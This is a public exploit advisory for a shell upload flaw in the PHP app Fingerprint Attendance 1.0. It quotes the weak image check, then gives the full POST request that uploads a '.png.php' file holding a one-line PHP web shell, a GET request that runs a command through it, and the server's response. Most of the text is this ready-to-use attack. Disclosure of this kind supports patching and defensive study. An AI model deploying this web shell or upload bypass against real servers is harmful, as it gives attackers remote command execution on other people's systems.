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Fingerprint Attendance 1.0 Shell Upload Vulnerability
# Title: Fingerprint Attendance 1.0 Shell Upload # Author: Hejap Zairy # Vendor: https://www.vetbossel.in/fingerprint-attendance-project-php/ # Software: https://app.box.com/s/xlyqalhvayq8oi25tqykcbouzrrjytqy # Reference: https://github.com/Matrix07ksa # Tested on: Windows, MySQL, Apache registered user can bypass waf upload .php.jpg files in attachments section with use of intercept tool in burbsuite to edit the raw #vulnerability Code php Needs more filtering to upload NRIC files ``` <?php $namae = $_POST["NRIC"]; // this will be nric $target_dir = "photo/"; $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]); $uploadOk = 1; $imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION)); // Check if image file is a actual image or fake image if(isset($_POST["submit"])) { $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]); if($check !== false) { //echo "File is an image - " . $check["mime"] . "."; $uploadOk = 1; } else { // echo "File is not an image."; $uploadOk = 0; } } ``` [+] Payload POST ``` POST /fingerprint/src/register.php HTTP/1.1 Host: 0day.gov User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------3324626841792192532944123116 Content-Length: 2446 Origin: http://0day.gov Connection: close Referer: http://0day.gov/fingerprint/src/register.php Cookie: PHPSESSID=64cp9kf4qmus9p55o63clicu2q Upgrade-Insecure-Requests: 1 -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="fname" Admin -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="lname" admin -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="NRIC" Admin -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="emailaddress" Admin@gmail.com -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="contact" admin -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="contact2" admin -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="line1" -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="line2" -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="line3" -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="city" -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="zip" -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="country" -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="bankName" Admin -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="bankDetail" -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="job" -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="fileToUpload"; filename="0day_hejap.png.php" Content-Type: image/jpg <?=`$_GET[515]`?> -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="button" Register -----------------------------3324626841792192532944123116-- ``` #Status: CRITICAL [+] Payload GET ``` GET /fingerprint/src/photo/0day_hejap.php?515=echo+Hejap+Zairy HTTP/1.1 Host: 0day.gov User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: PHPSESSID=pqbgvck1gedt9if6p582nt9a41 Upgrade-Insecure-Requests: 1 ``` #Response ``` HTTP/1.1 200 OK Date: Thu, 29 Mar 2022 11:15:56 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.27 X-Powered-By: PHP/7.4.27 Content-Length: 12 Connection: close Content-Type: text/html; charset=UTF-8 Hejap Zairy ``` # Description: The file upload bypass WAF vulnerability occurs when the user uploads an executable script file, and through the script file to obtain the ability to execute server-side commands. This attack is the most direct and effective, sometimes having almost no technical barriers. # Proof and Exploit: https://i.imgur.com/A3BlWTF.png # 0day.today [2024-09-29] #